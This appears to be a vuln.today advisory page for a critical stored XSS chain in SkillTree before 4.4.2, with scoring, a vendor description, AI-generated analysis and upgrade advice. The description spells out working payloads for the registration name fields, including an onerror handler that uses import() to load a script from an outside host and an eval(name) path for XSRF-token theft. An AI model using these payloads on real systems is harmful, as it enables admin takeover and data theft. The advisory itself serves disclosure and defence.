Skip to main content

SkillTree CVE-2026-54694

| EUVDEUVD-2026-75116 CRITICAL
Improper Input Validation (CWE-20)
2026-09-09 security-advisories@github.com
9.6
CVSS 3.1 · Vendor: github
Share

Severity by source

Vendor (github) PRIMARY
9.6 CRITICAL
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L
vuln.today AI
9.6 CRITICAL

Unauthenticated self-registration (PR:N) plants stored XSS that fires on routine admin page views (UI:R); code runs in the admin's authenticated origin (S:C) enabling admin actions (C:H/I:H, A:L).

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:L/SC:L/SI:L/SA:N

Primary rating from Vendor (github).

CVSS VectorVendor: github

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
Low

Lifecycle Timeline

4
POC Analysis Generated
Sep 09, 2026 - 23:26 vuln.today
Patch available
Sep 09, 2026 - 19:34 EUVD
Analysis Generated
Sep 09, 2026 - 19:31 vuln.today
CVE Published
Sep 09, 2026 - 19:17 cve.org
CRITICAL 9.6

DescriptionCVE.org

SkillTree is a micro-learning gamification platform. Prior to version 4.4.2, two independent code flaws combine into a single exploitable attack chain, with three distinct exploitation paths of escalating impact. StringHighlighter.js builds an HTML string by interpolating raw value substrings directly into a template literal with no HTML entity encoding. HighlightedValue.vue renders that string - and all unfiltered plain values - via Vue's v-html directive, which sets innerHTML. Separately, the account registration endpoint accepts firstName, lastName, and nickname fields and stores them without any HTML sanitization. An attacker self-registers with firstName = "<img src=x onerror=alert(1)>" (28 characters - within the 30-character field limit) and visits any quiz. The next time an administrator opens the Quiz Runs page the payload executes in their browser. Three attack paths exist with escalating impact. The first is basic cross-site scripting. Any self-contained payload fitting the 30-character limit (e.g. <img src=x onerror=alert(1)>, which is 28 chars) fires automatically when the admin navigates to the runs page through normal use. Arbitrary code execution in the admin's browser is confirmed with zero extra steps. The second is remote script loading via import(). Using the split-field technique (lastName = "<img src=x", firstName = "onerror=import('//nsas.cc/p')>"), the attacker loads a full JavaScript file from their server. The file has no size limit and can perform any admin action - delete all projects, create backdoor accounts, dump user data, install a keylogger. No phishing required. The only constraint is that the URL must fit in 11 characters (//nsas.cc/p). The third is full cross-site request forgery token theft. Using eval(name), the attacker pre-sets window.name to a data-theft payload by sending the admin one redirect link first. The session cookie is HttpOnly and cannot be read via document.cookie; however, the XSRF token is readable and the attacker leverages same-origin execution to call admin APIs from inside the victim's browser, relaying the responses to an external server. No admin interaction beyond routine use is required. Version 4.4.2 contains a patch.

AnalysisAI

Stored cross-site scripting in SkillTree (NSA skills-service) before 4.4.2 lets an unauthenticated attacker self-register with a malicious firstName/lastName/nickname that executes in an administrator's browser when they open the Quiz Runs page. Because registration fields are stored unsanitized and later rendered through Vue's v-html directive, the flaw escalates from simple alert() proof to remote script loading via import() and full XSRF-token theft, enabling any admin action (delete projects, create backdoor accounts, exfiltrate user data). …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
technique details hidden
Delivery
technique details hidden
Exploit
technique details hidden
Execution
technique details hidden
Persist
technique details hidden
Impact
technique details hidden

Vulnerability AssessmentAI

Exploitation Requires a SkillTree instance older than 4.4.2 with self-service account registration enabled, allowing the attacker to submit HTML in the firstName/lastName/nickname fields (each capped at 30 characters, bypassed via the split-field technique). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment This is a genuine high-priority issue rather than a high-CVSS-but-low-real-risk case. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario Full exploit scenario with step-by-step reproduction available after sign-in.
Remediation Upgrade to SkillTree 4.4.2 or later, which contains the vendor patch, per GHSA-hqfg-c8wf-w2g8 (https://github.com/NationalSecurityAgency/skills-service/security/advisories/GHSA-hqfg-c8wf-w2g8). … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours, audit all SkillTree deployments to identify versions before 4.4.2; restrict administrator dashboard access to trusted networks only and disable user self-registration if operationally feasible. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

Share

CVE-2026-54694 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy